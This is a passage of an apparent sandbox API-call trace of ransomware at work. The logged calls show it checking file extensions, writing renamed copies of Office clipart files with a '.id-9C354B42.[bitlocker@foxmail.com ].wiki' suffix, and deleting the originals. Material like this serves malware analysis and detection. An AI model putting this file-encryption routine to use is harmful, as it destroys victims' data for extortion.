lstrlenW (lpString=".xlsx") returned 5 [0197.278] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.278] lstrlenW (lpString=".ppt") returned 4 [0197.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.278] lstrlenW (lpString=".zip") returned 4 [0197.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.278] lstrlenW (lpString=".rar") returned 4 [0197.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.278] lstrlenW (lpString=".bz2") returned 4 [0197.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.278] lstrlenW (lpString=".7z") returned 3 [0197.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.278] lstrlenW (lpString=".dbf") returned 4 [0197.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.279] lstrlenW (lpString=".1cd") returned 4 [0197.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0197.279] lstrlenW (lpString=".jpg") returned 4 [0197.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.279] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.279] lstrlenW (lpString="J0152698.WMF") returned 12 [0197.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.279] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1208) returned 1 [0197.279] CloseHandle (hObject=0x1cc) returned 1 [0197.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 0x20 [0197.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.280] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.281] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0197.282] GetLastError () returned 0x0 [0197.282] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x4b8, lpOverlapped=0x0) returned 1 [0197.292] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0197.293] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.293] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.293] SetEndOfFile (hFile=0x1f0) returned 1 [0197.293] CloseHandle (hObject=0x1f0) returned 1 [0197.293] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.293] SetEndOfFile (hFile=0x1cc) returned 1 [0197.294] CloseHandle (hObject=0x1cc) returned 1 [0197.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0197.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.294] lstrlenW (lpString=".doc") returned 4 [0197.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.294] lstrlenW (lpString=".docx") returned 5 [0197.294] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0197.294] lstrlenW (lpString=".pdf") returned 4 [0197.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.294] lstrlenW (lpString=".xls") returned 4 [0197.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.294] lstrlenW (lpString=".xlsx") returned 5 [0197.295] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0197.295] lstrlenW (lpString=".ppt") returned 4 [0197.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.295] lstrlenW (lpString=".zip") returned 4 [0197.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.295] lstrlenW (lpString=".rar") returned 4 [0197.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.295] lstrlenW (lpString=".bz2") returned 4 [0197.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.295] lstrlenW (lpString=".7z") returned 3 [0197.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.295] lstrlenW (lpString=".dbf") returned 4 [0197.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.295] lstrlenW (lpString=".1cd") returned 4 [0197.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.295] lstrlenW (lpString=".jpg") returned 4 [0197.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.295] lstrlenW (lpString=".doc") returned 4 [0197.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.295] lstrlenW (lpString=".docx") returned 5 [0197.295] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0197.295] lstrlenW (lpString=".pdf") returned 4 [0197.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.296] lstrlenW (lpString=".xls") returned 4 [0197.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.296] lstrlenW (lpString=".xlsx") returned 5 [0197.296] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0197.296] lstrlenW (lpString=".ppt") returned 4 [0197.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.296] lstrlenW (lpString=".zip") returned 4 [0197.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.296] lstrlenW (lpString=".rar") returned 4 [0197.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.296] lstrlenW (lpString=".bz2") returned 4 [0197.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.296] lstrlenW (lpString=".7z") returned 3 [0197.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.296] lstrlenW (lpString=".dbf") returned 4 [0197.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.296] lstrlenW (lpString=".1cd") returned 4 [0197.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0197.296] lstrlenW (lpString=".jpg") returned 4 [0197.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.296] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.297] lstrlenW (lpString="J0152702.WMF") returned 12 [0197.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.297] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1208) returned 1 [0197.297] CloseHandle (hObject=0x1cc) returned 1 [0197.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 0x20 [0197.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.297] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.297] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0197.298] GetLastError () returned 0x0 [0197.298] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x4b8, lpOverlapped=0x0) returned 1 [0197.300] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0197.301] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.301] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.301] SetEndOfFile (hFile=0x1f0) returned 1 [0197.301] CloseHandle (hObject=0x1f0) returned 1 [0197.301] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.301] SetEndOfFile (hFile=0x1cc) returned 1 [0197.302] CloseHandle (hObject=0x1cc) returned 1 [0197.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0197.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.302] lstrlenW (lpString=".doc") returned 4 [0197.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.302] lstrlenW (lpString=".docx") returned 5 [0197.302] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.302] lstrlenW (lpString=".pdf") returned 4 [0197.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.302] lstrlenW (lpString=".xls") returned 4 [0197.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.302] lstrlenW (lpString=".xlsx") returned 5 [0197.302] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.302] lstrlenW (lpString=".ppt") returned 4 [0197.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.303] lstrlenW (lpString=".zip") returned 4 [0197.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.303] lstrlenW (lpString=".rar") returned 4 [0197.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.303] lstrlenW (lpString=".bz2") returned 4 [0197.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.303] lstrlenW (lpString=".7z") returned 3 [0197.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.303] lstrlenW (lpString=".dbf") returned 4 [0197.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.303] lstrlenW (lpString=".1cd") returned 4 [0197.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.303] lstrlenW (lpString=".jpg") returned 4 [0197.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.303] lstrlenW (lpString=".doc") returned 4 [0197.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.303] lstrlenW (lpString=".docx") returned 5 [0197.303] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.303] lstrlenW (lpString=".pdf") returned 4 [0197.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.303] lstrlenW (lpString=".xls") returned 4 [0197.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.303] lstrlenW (lpString=".xlsx") returned 5 [0197.304] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.304] lstrlenW (lpString=".ppt") returned 4 [0197.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.304] lstrlenW (lpString=".zip") returned 4 [0197.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.304] lstrlenW (lpString=".rar") returned 4 [0197.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.304] lstrlenW (lpString=".bz2") returned 4 [0197.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.304] lstrlenW (lpString=".7z") returned 3 [0197.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.304] lstrlenW (lpString=".dbf") returned 4 [0197.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.304] lstrlenW (lpString=".1cd") returned 4 [0197.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF") returned 63 [0197.304] lstrlenW (lpString=".jpg") returned 4 [0197.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.304] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.304] lstrlenW (lpString="J0152704.WMF") returned 12 [0197.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.305] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1652) returned 1 [0197.305] CloseHandle (hObject=0x1cc) returned 1 [0197.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 0x20 [0197.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.305] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.305] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0197.306] GetLastError () returned 0x0 [0197.306] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x674, lpOverlapped=0x0) returned 1 [0197.307] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x680, lpOverlapped=0x0) returned 1 [0197.308] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.308] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.308] SetEndOfFile (hFile=0x1f0) returned 1 [0197.309] CloseHandle (hObject=0x1f0) returned 1 [0197.309] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.309] SetEndOfFile (hFile=0x1cc) returned 1 [0197.309] CloseHandle (hObject=0x1cc) returned 1 [0197.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0197.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.310] lstrlenW (lpString=".doc") returned 4 [0197.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.310] lstrlenW (lpString=".docx") returned 5 [0197.310] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0197.310] lstrlenW (lpString=".pdf") returned 4 [0197.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.310] lstrlenW (lpString=".xls") returned 4 [0197.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.310] lstrlenW (lpString=".xlsx") returned 5 [0197.310] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0197.310] lstrlenW (lpString=".ppt") returned 4 [0197.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.310] lstrlenW (lpString=".zip") returned 4 [0197.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.310] lstrlenW (lpString=".rar") returned 4 [0197.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.310] lstrlenW (lpString=".bz2") returned 4 [0197.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.310] lstrlenW (lpString=".7z") returned 3 [0197.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.311] lstrlenW (lpString=".dbf") returned 4 [0197.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.311] lstrlenW (lpString=".1cd") returned 4 [0197.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.311] lstrlenW (lpString=".jpg") returned 4 [0197.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.311] lstrlenW (lpString=".doc") returned 4 [0197.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.311] lstrlenW (lpString=".docx") returned 5 [0197.311] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0197.311] lstrlenW (lpString=".pdf") returned 4 [0197.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.311] lstrlenW (lpString=".xls") returned 4 [0197.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.311] lstrlenW (lpString=".xlsx") returned 5 [0197.311] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0197.311] lstrlenW (lpString=".ppt") returned 4 [0197.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF") returned 63 [0197.311] lstrlenW (lpString=".zip") returned 4 [0197.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.311] lstrlenW (lpString=".rar") returned 4 [0197.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.311] lstrlenW (lpString=".bz2") returned 4 [0197.312] lstrcmpiW 